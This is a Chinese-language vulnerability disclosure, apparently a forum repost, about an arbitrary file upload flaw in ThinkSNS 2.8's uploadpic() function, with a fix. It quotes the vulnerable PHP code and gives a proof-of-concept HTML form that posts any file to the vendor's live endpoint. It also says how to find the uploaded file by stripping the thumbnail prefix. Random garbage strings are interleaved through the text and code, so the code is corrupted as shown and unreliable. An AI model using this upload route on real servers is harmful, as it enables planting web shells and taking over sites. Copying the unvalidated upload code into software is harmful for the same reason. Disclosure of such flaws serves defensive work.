ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
' X) ]8 S. _) P& R( m9 f
; G' {. `. ^. W# y' a% ?
\api\StatusesApi.class.php

function uploadpic(){
      if( $_FILES['pic'] ){
& ~3 r8 y: m9 K0 b: ?     //执行上传操作
6 P" j1 l. r2 ]+ J9 P     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
& ?7 k: j: ^) {7 b       } else {
$ w& w/ U8 v7 {        $result['boolen']    = 0;
; i2 I, n# W, O' z4 s: p7 ]. s* [        $result['message']   = '上传失败';
       }
. {; r* b/ X3 O" M2 Y     }else{
. X* _, h. f; p0 M         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
3 t, ?$ x# k# ]) ]0 P5 L' D  {7 ireturn $result;
; h/ U8 S8 m& U# x  v; X3 S    }
unloadpic()方法没有对文件类型进行验证
# _/ Q6 T0 \5 M$ p" ]
可以构建表单, 选择任意文件, 提交到
# p" I0 |# L/ Z' E8 D6 x/index.php?app=w3g&mod=Index&act=doPost
1 m% R, W! `: A
; N5 U* S: @9 f# h% K在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 v8 d3 i/ P% ^* \/ z9 C% E/ x4 f
0 x! H8 o4 D2 z5 l
在登录thinksns官方微博后,
构建以下表单:
* _: }7 |) n, ~+ S! V
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
0 A6 Y  l1 F' N) Pfile: <input id="file" type="file" name="pic" />
: [0 {& s, Z' X" X  i' Z" f<input type="submit" value="Post" />
+ l7 J7 W/ [3 B6 ]) U</form>
去掉缩略图的前缀(small_ )
​修复方案：

+ y8 d, j$ J0 X
! f- P4 h! g. x& c% B" x\api\StatusesApi.class.php

function uploadpic(){
     /**
0 o. l( u; M- F% f6 m      * 20121018 @yelo
      * 增加上传类型验证
) I0 F# c3 ~4 ^7 u) j4 y: z4 V$ i      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
! ~* I0 t( i+ `: X $allowExts = array('jpg', 'png', 'gif', 'jpeg');

$ m* p7 u5 b; u3 ^3 h7 H  C     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
' E# B5 w7 P, f
     if( $uploadCondition ){
+ w/ h+ Q& ^6 l! m9 m& s2 U     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
* t% E* s( A' p" V' K     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
0 X6 f6 X" h7 ^; }! W3 B    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
, U- V# F9 k, s3 B( e. W6 ^  \       {
( z- x% u( y; u! N4 ?        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
/ ?& R/ t& E, z! `        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
' u- {( R3 A$ D       } else {
# i: {( p. d) N& l, I        $result['boolen']    = 0;
        $result['message']   = '上传失败';
$ o) C# I- \- f       }
+ y5 ^. d* {1 h3 y! Z8 \/ Z     }else{
         $result['boolen']    = 0;
) r. [  |; T& V3 B" T         $result['message']   = '上传失败';
; s  h# O" \, L, j9 B, Q+ v# u9 q     }
return $result;
    }
​
; A9 ~& p: x+ p
1 L8 t( R8 p4 Q5 J; V3 `/ K7 R